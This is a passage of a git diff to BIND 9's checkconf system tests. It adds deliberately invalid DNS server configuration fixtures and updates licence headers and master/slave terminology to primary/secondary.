+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	parental-source 10.53.0.1 port 5300;
+};
diff --git a/bin/tests/system/checkconf/bad-port.conf b/bin/tests/system/checkconf/bad-port.conf
new file mode 100644
index 0000000000..9650c8f57b
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-port.conf
@@ -0,0 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 99999;
+};
diff --git a/bin/tests/system/checkconf/bad-primaries-dup.conf b/bin/tests/system/checkconf/bad-primaries-dup.conf
new file mode 100644
index 0000000000..ed761c971e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-primaries-dup.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.net" {
+	type secondary;
+	primaries { 192.168.1.1; };
+	masters { 192.168.1.2; };
+};
diff --git a/bin/tests/system/checkconf/bad-primaries-key.conf b/bin/tests/system/checkconf/bad-primaries-key.conf
new file mode 100644
index 0000000000..f592293db4
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-primaries-key.conf
@@ -0,0 +1,17 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone example {
+        type secondary;
+        primaries { 1.2.3.4 key a..b; };
+};
diff --git a/bin/tests/system/checkconf/bad-primaries-notfound.conf b/bin/tests/system/checkconf/bad-primaries-notfound.conf
new file mode 100644
index 0000000000..464009824d
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-primaries-notfound.conf
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+primaries "net" {
+	 192.168.1.2;
+};
+
+zone "example.net" {
+	type secondary;
+	primaries { "foo"; };
+};
diff --git a/bin/tests/system/checkconf/bad-primaries-tls.conf b/bin/tests/system/checkconf/bad-primaries-tls.conf
new file mode 100644
index 0000000000..7858d1d09c
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-primaries-tls.conf
@@ -0,0 +1,17 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone example {
+        type secondary;
+        primaries { 1.2.3.4 tls a..b; };
+};
diff --git a/bin/tests/system/checkconf/bad-printtime.conf b/bin/tests/system/checkconf/bad-printtime.conf
index 318e453324..80a53cb8e3 100644
--- a/bin/tests/system/checkconf/bad-printtime.conf
+++ b/bin/tests/system/checkconf/bad-printtime.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-random-device.conf b/bin/tests/system/checkconf/bad-random-device.conf
new file mode 100644
index 0000000000..bc1451d8d9
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-random-device.conf
@@ -0,0 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+        random-device "/dev/urandom";
+};
diff --git a/bin/tests/system/checkconf/bad-rate-limit-acl.conf b/bin/tests/system/checkconf/bad-rate-limit-acl.conf
index b344a0ffe3..06543fbb77 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-acl.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-acl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-all-per-second.conf b/bin/tests/system/checkconf/bad-rate-limit-all-per-second.conf
index 6a60a8bfc2..aae353e4a3 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-all-per-second.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-all-per-second.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-errors-per-second.conf b/bin/tests/system/checkconf/bad-rate-limit-errors-per-second.conf
index bea963956f..b2c60971f8 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-errors-per-second.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-errors-per-second.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-ipv4-prefix-length.conf b/bin/tests/system/checkconf/bad-rate-limit-ipv4-prefix-length.conf
index b94d8db732..b728575c57 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-ipv4-prefix-length.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-ipv4-prefix-length.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-ipv6-prefix-length.conf b/bin/tests/system/checkconf/bad-rate-limit-ipv6-prefix-length.conf
index 4378e71846..6b5fda51d1 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-ipv6-prefix-length.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-ipv6-prefix-length.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-max-table-size.conf b/bin/tests/system/checkconf/bad-rate-limit-max-table-size.conf
index ed05f576b8..95309dbef5 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-max-table-size.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-max-table-size.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-nodata-per-second.conf b/bin/tests/system/checkconf/bad-rate-limit-nodata-per-second.conf
index 893640ee7f..ecfb5f84de 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-nodata-per-second.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-nodata-per-second.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-nxdomains-per-second.conf b/bin/tests/system/checkconf/bad-rate-limit-nxdomains-per-second.conf
index 8e2f407953..77c5749776 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-nxdomains-per-second.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-nxdomains-per-second.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-qps-scale.conf b/bin/tests/system/checkconf/bad-rate-limit-qps-scale.conf
index 585e90e275..0dc4532c21 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-qps-scale.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-qps-scale.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-referrals-per-second.conf b/bin/tests/system/checkconf/bad-rate-limit-referrals-per-second.conf
index 21f528cdaf..0ea48364a3 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-referrals-per-second.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-referrals-per-second.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-responses-per-second.conf b/bin/tests/system/checkconf/bad-rate-limit-responses-per-second.conf
index 784f529beb..8187244713 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-responses-per-second.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-responses-per-second.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-slip.conf b/bin/tests/system/checkconf/bad-rate-limit-slip.conf
index c6162952ee..15d270cbca 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-slip.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-slip.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rate-limit-window.conf b/bin/tests/system/checkconf/bad-rate-limit-window.conf
index 5a0bcdb4ab..7ded786144 100644
--- a/bin/tests/system/checkconf/bad-rate-limit-window.conf
+++ b/bin/tests/system/checkconf/bad-rate-limit-window.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-root-mixed-key.conf b/bin/tests/system/checkconf/bad-root-mixed-key.conf
index 16e91bf5be..7035066b2a 100644
--- a/bin/tests/system/checkconf/bad-root-mixed-key.conf
+++ b/bin/tests/system/checkconf/bad-root-mixed-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-rpz-ede.conf b/bin/tests/system/checkconf/bad-rpz-ede.conf
new file mode 100644
index 0000000000..8d78f8df47
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-rpz-ede.conf
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com." {
+	type primary;
+	file "example.com.zone";
+};
+
+options {
+	response-policy {
+		zone "example.com." ede unsupported;
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-rpz-too-many-zones.conf b/bin/tests/system/checkconf/bad-rpz-too-many-zones.conf
index 92a13bed39..0eb9ef35c0 100644
--- a/bin/tests/system/checkconf/bad-rpz-too-many-zones.conf
+++ b/bin/tests/system/checkconf/bad-rpz-too-many-zones.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -79,68 +81,68 @@ options {
 	};
 };
 
-zone "max1" { type master; file "rpz.db"; };
-zone "max2" { type master; file "rpz.db"; };
-zone "max3" { type master; file "rpz.db"; };
-zone "max4" { type master; file "rpz.db"; };
-zone "max5" { type master; file "rpz.db"; };
-zone "max6" { type master; file "rpz.db"; };
-zone "max7" { type master; file "rpz.db"; };
-zone "max8" { type master; file "rpz.db"; };
-zone "max9" { type master; file "rpz.db"; };
-zone "max10" { type master; file "rpz.db"; };
-zone "max11" { type master; file "rpz.db"; };
-zone "max12" { type master; file "rpz.db"; };
-zone "max13" { type master; file "rpz.db"; };
-zone "max14" { type master; file "rpz.db"; };
-zone "max15" { type master; file "rpz.db"; };
-zone "max16" { type master; file "rpz.db"; };
-zone "max17" { type master; file "rpz.db"; };
-zone "max18" { type master; file "rpz.db"; };
-zone "max19" { type master; file "rpz.db"; };
-zone "max20" { type master; file "rpz.db"; };
-zone "max21" { type master; file "rpz.db"; };
-zone "max22" { type master; file "rpz.db"; };
-zone "max23" { type master; file "rpz.db"; };
-zone "max24" { type master; file "rpz.db"; };
-zone "max25" { type master; file "rpz.db"; };
-zone "max26" { type master; file "rpz.db"; };
-zone "max27" { type master; file "rpz.db"; };
-zone "max28" { type master; file "rpz.db"; };
-zone "max29" { type master; file "rpz.db"; };
-zone "max30" { type master; file "rpz.db"; };
-zone "max31" { type master; file "rpz.db"; };
-zone "max32" { type master; file "rpz.db"; };
-zone "max33" { type master; file "rpz.db"; };
-zone "max34" { type master; file "rpz.db"; };
-zone "max35" { type master; file "rpz.db"; };
-zone "max36" { type master; file "rpz.db"; };
-zone "max37" { type master; file "rpz.db"; };
-zone "max38" { type master; file "rpz.db"; };
-zone "max39" { type master; file "rpz.db"; };
-zone "max40" { type master; file "rpz.db"; };
-zone "max41" { type master; file "rpz.db"; };
-zone "max42" { type master; file "rpz.db"; };
-zone "max43" { type master; file "rpz.db"; };
-zone "max44" { type master; file "rpz.db"; };
-zone "max45" { type master; file "rpz.db"; };
-zone "max46" { type master; file "rpz.db"; };
-zone "max47" { type master; file "rpz.db"; };
-zone "max48" { type master; file "rpz.db"; };
-zone "max49" { type master; file "rpz.db"; };
-zone "max50" { type master; file "rpz.db"; };
-zone "max51" { type master; file "rpz.db"; };
-zone "max52" { type master; file "rpz.db"; };
-zone "max53" { type master; file "rpz.db"; };
-zone "max54" { type master; file "rpz.db"; };
-zone "max55" { type master; file "rpz.db"; };
-zone "max56" { type master; file "rpz.db"; };
-zone "max57" { type master; file "rpz.db"; };
-zone "max58" { type master; file "rpz.db"; };
-zone "max59" { type master; file "rpz.db"; };
-zone "max60" { type master; file "rpz.db"; };
-zone "max61" { type master; file "rpz.db"; };
-zone "max62" { type master; file "rpz.db"; };
-zone "max63" { type master; file "rpz.db"; };
-zone "max64" { type master; file "rpz.db"; };
-zone "max65" { type master; file "rpz.db"; };
+zone "max1" { type primary; file "rpz.db"; };
+zone "max2" { type primary; file "rpz.db"; };
+zone "max3" { type primary; file "rpz.db"; };
+zone "max4" { type primary; file "rpz.db"; };
+zone "max5" { type primary; file "rpz.db"; };
+zone "max6" { type primary; file "rpz.db"; };
+zone "max7" { type primary; file "rpz.db"; };
+zone "max8" { type primary; file "rpz.db"; };
+zone "max9" { type primary; file "rpz.db"; };
+zone "max10" { type primary; file "rpz.db"; };
+zone "max11" { type primary; file "rpz.db"; };
+zone "max12" { type primary; file "rpz.db"; };
+zone "max13" { type primary; file "rpz.db"; };
+zone "max14" { type primary; file "rpz.db"; };
+zone "max15" { type primary; file "rpz.db"; };
+zone "max16" { type primary; file "rpz.db"; };
+zone "max17" { type primary; file "rpz.db"; };
+zone "max18" { type primary; file "rpz.db"; };
+zone "max19" { type primary; file "rpz.db"; };
+zone "max20" { type primary; file "rpz.db"; };
+zone "max21" { type primary; file "rpz.db"; };
+zone "max22" { type primary; file "rpz.db"; };
+zone "max23" { type primary; file "rpz.db"; };
+zone "max24" { type primary; file "rpz.db"; };
+zone "max25" { type primary; file "rpz.db"; };
+zone "max26" { type primary; file "rpz.db"; };
+zone "max27" { type primary; file "rpz.db"; };
+zone "max28" { type primary; file "rpz.db"; };
+zone "max29" { type primary; file "rpz.db"; };
+zone "max30" { type primary; file "rpz.db"; };
+zone "max31" { type primary; file "rpz.db"; };
+zone "max32" { type primary; file "rpz.db"; };
+zone "max33" { type primary; file "rpz.db"; };
+zone "max34" { type primary; file "rpz.db"; };
+zone "max35" { type primary; file "rpz.db"; };
+zone "max36" { type primary; file "rpz.db"; };
+zone "max37" { type primary; file "rpz.db"; };
+zone "max38" { type primary; file "rpz.db"; };
+zone "max39" { type primary; file "rpz.db"; };
+zone "max40" { type primary; file "rpz.db"; };
+zone "max41" { type primary; file "rpz.db"; };
+zone "max42" { type primary; file "rpz.db"; };
+zone "max43" { type primary; file "rpz.db"; };
+zone "max44" { type primary; file "rpz.db"; };
+zone "max45" { type primary; file "rpz.db"; };
+zone "max46" { type primary; file "rpz.db"; };
+zone "max47" { type primary; file "rpz.db"; };
+zone "max48" { type primary; file "rpz.db"; };
+zone "max49" { type primary; file "rpz.db"; };
+zone "max50" { type primary; file "rpz.db"; };
+zone "max51" { type primary; file "rpz.db"; };
+zone "max52" { type primary; file "rpz.db"; };
+zone "max53" { type primary; file "rpz.db"; };
+zone "max54" { type primary; file "rpz.db"; };
+zone "max55" { type primary; file "rpz.db"; };
+zone "max56" { type primary; file "rpz.db"; };
+zone "max57" { type primary; file "rpz.db"; };
+zone "max58" { type primary; file "rpz.db"; };
+zone "max59" { type primary; file "rpz.db"; };
+zone "max60" { type primary; file "rpz.db"; };
+zone "max61" { type primary; file "rpz.db"; };
+zone "max62" { type primary; file "rpz.db"; };
+zone "max63" { type primary; file "rpz.db"; };
+zone "max64" { type primary; file "rpz.db"; };
+zone "max65" { type primary; file "rpz.db"; };
diff --git a/bin/tests/system/checkconf/bad-rpz-ttl.conf b/bin/tests/system/checkconf/bad-rpz-ttl.conf
index af35952982..7b3a6ef27f 100644
--- a/bin/tests/system/checkconf/bad-rpz-ttl.conf
+++ b/bin/tests/system/checkconf/bad-rpz-ttl.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com." {
-	type master;
+	type primary;
 	file "example.com.zone";
 };
 
diff --git a/bin/tests/system/checkconf/bad-rpz-update.conf b/bin/tests/system/checkconf/bad-rpz-update.conf
index 1c06bfd508..a03f179682 100644
--- a/bin/tests/system/checkconf/bad-rpz-update.conf
+++ b/bin/tests/system/checkconf/bad-rpz-update.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com." {
-	type master;
+	type primary;
 	file "example.com.zone";
 };
 
diff --git a/bin/tests/system/checkconf/bad-rpz-zone.conf b/bin/tests/system/checkconf/bad-rpz-zone.conf
index 120c8e4fe4..4aadc61afd 100644
--- a/bin/tests/system/checkconf/bad-rpz-zone.conf
+++ b/bin/tests/system/checkconf/bad-rpz-zone.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-sharedwritable1.conf b/bin/tests/system/checkconf/bad-sharedwritable1.conf
index 38d244a696..3fcb1af5e6 100644
--- a/bin/tests/system/checkconf/bad-sharedwritable1.conf
+++ b/bin/tests/system/checkconf/bad-sharedwritable1.conf
@@ -1,20 +1,22 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone a {
-	type master;
+	type primary;
 	file "shared.db";
 };
 zone b {
-	type slave;
+	type secondary;
 	file "shared.db";
-	masters { 1.2.3.4; };
+	primaries { 1.2.3.4; };
 };
diff --git a/bin/tests/system/checkconf/bad-sharedwritable2.conf b/bin/tests/system/checkconf/bad-sharedwritable2.conf
index 31c77c417c..e8c940ccb3 100644
--- a/bin/tests/system/checkconf/bad-sharedwritable2.conf
+++ b/bin/tests/system/checkconf/bad-sharedwritable2.conf
@@ -1,21 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone a {
-	type slave;
+	type secondary;
 	file "shared.db";
-	masters { 1.2.3.4; };
+	primaries { 1.2.3.4; };
 };
 zone b {
-	type slave;
+	type secondary;
 	file "shared.db";
-	masters { 1.2.3.4; };
+	primaries { 1.2.3.4; };
 };
diff --git a/bin/tests/system/checkconf/bad-sharedzone1.conf b/bin/tests/system/checkconf/bad-sharedzone1.conf
index 3782991fa5..fccffe9f05 100644
